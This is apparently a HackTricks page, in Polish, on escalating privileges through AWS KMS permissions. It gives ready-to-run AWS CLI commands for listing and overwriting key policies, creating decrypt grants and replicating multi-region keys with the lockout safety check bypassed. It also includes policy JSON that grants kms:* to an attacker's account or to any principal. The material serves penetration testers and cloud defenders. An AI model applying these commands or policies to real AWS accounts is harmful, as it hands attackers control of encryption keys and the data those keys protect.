AWS - KMS Privesc

Wsparcie HackTricks

KMS

Aby uzyskać więcej informacji o KMS, sprawdź:

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Dzięki tym uprawnieniom możliwe jest zmodyfikowanie uprawnień dostępu do klucza, aby mogły być używane przez inne konta lub nawet przez każdego:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
"Version" : "2012-10-17",
"Id" : "key-consolepolicy-3",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<origin_account>:root"
},
"Action" : "kms:*",
"Resource" : "*"
},
{
"Sid" : "Allow all use",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : [ "kms:*" ],
"Resource" : "*"
}
]
}

kms:CreateGrant

Pozwala podmiotowi na użycie klucza KMS:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

Należy pamiętać, że może minąć kilka minut, zanim KMS pozwoli użytkownikowi na użycie klucza po wygenerowaniu grant. Po upływie tego czasu, podmiot może używać klucza KMS bez potrzeby określania czegokolwiek. Jednakże, jeśli konieczne jest natychmiastowe użycie grantu użyj tokena grantu (sprawdź poniższy kod). Aby uzyskać więcej informacji, przeczytaj to.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Zauważ, że możliwe jest wylistowanie uprawnień kluczy za pomocą:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Dzięki tym uprawnieniom możliwe jest replikowanie klucza KMS włączonego w wielu regionach w innym regionie z inną polityką.

Zatem atakujący mógłby to wykorzystać, aby uzyskać privesc do swojego dostępu do klucza i go użyć.

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

To uprawnienie pozwala na użycie klucza do odszyfrowania informacji. Aby uzyskać więcej informacji, sprawdź:

Wsparcie dla HackTricks

Last updated